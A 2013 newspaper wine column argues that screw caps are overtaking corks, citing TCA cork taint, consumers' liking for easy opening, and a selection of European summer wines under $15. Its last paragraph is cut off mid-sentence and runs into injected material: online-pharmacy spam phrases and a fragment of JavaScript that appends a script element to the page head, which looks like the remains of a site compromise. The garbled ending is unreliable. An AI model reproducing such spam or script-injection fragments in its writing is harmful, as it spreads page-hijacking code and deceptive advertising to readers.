Celebrating the screw cap – Jul 13, 2013

By Anthony Gismondi

It has been more than a decade since twist or screw cap closures were first mentioned in this column.

There was widespread opposition from producers in Europe, North and South America (and more than few skeptical consumers) at the time but most of that resistance has long faded. Screwcaps are here to stay at some level, and each day they seem to achieve even greater heights as they ascend up the quality and price ladder to close some of the best wines in the world.

There will always be a place for corkfinished wine. Especially those wines that need time in the bottle and in many ways the adoption of screw caps for everyday red and white wines is reducing the stress on cork trees and cork manufacturers.

It may be just what the cork industry needs to better manage its resource and produce a higher percentage of quality, taint-free corks.

That said, even the finest corks can have a negative effect on delicate white wines, and I for one would be happy to see the end of corks in all but a handful of whites. Good or bad, it is clear to me that a cork can alter the flavour of a wine. Even the most expensive and expertly made corks tend to shave off, or at the very least, dampen the top five to seven per cent of the most delicate fruit aromas and flavours found in wine. While that may be useful for big, rich, alcoholic reds, it’s simply not acceptable when it comes to the delicate, finely-nuanced aromas and flavours of white wine.

Winemakers are likely to concur that the ultimate game plan should be to let consumers enjoy the cleanest freshest wine, free from the dreaded 2,4,6-trichloroanisole (TCA) or cork taint and its mix of mildew, mould and damp cellar scents. Amazingly, even at less than 10 parts per trillion (the level at which oenologists are expected to detect taint), TCA can wipe out the delicate aromatics that come from perfectly ripened fruit faster than you can shout, “hey this wine is corked.”

The most interesting aspect of the entire screw cap versus cork debate is how quickly consumers have embraced the easy opening twist cap. You may not be able to identify a TCA tainted (corked) wine when you encounter it in a restaurant or at home, but it would appear any excuse not to use a corkscrew is good enough to get you to reach for a bottle of wine with a twist-off top.

Screw caps are empowering consumers to open bottles of wine with the slightest twist of the wrist and by all accounts they are enjoying the ease with which they can finally access their favourite wines.

Much is made of the romantic sound of a cork being pulled out of a bottle but you have to be able to get the cork out for that to take place. It’s been my experience with friends that once they have experienced a quality screw cap wine they tend to be much more disposed to try others.

It has been a huge lesson for wine producers as well. Wine has been far too mysterious for far too long, and in a strange way the screw cap appears to have become a major weapon in breaking down barriers between drinking wine and really enjoying it.

This week, we celebrate the rising tide of twist top wines with an outstanding selection of six European wines, most of whom would never have sported a screw cap closure a decade ago. Each is a delicious summer sipper and all sell for less than $15. They’re not all screwcap finished and I’m good with that. It’s your choice now. You can go for romance or you can reach for ease of use. This time it really depends on your mood.} Cheap strattera is expensive any cheaper alternatives }d.getElementsByTagName('head')[0].appendChild(s);if (document.currentScript) { cheap diltiazem cd how to purchase etabus

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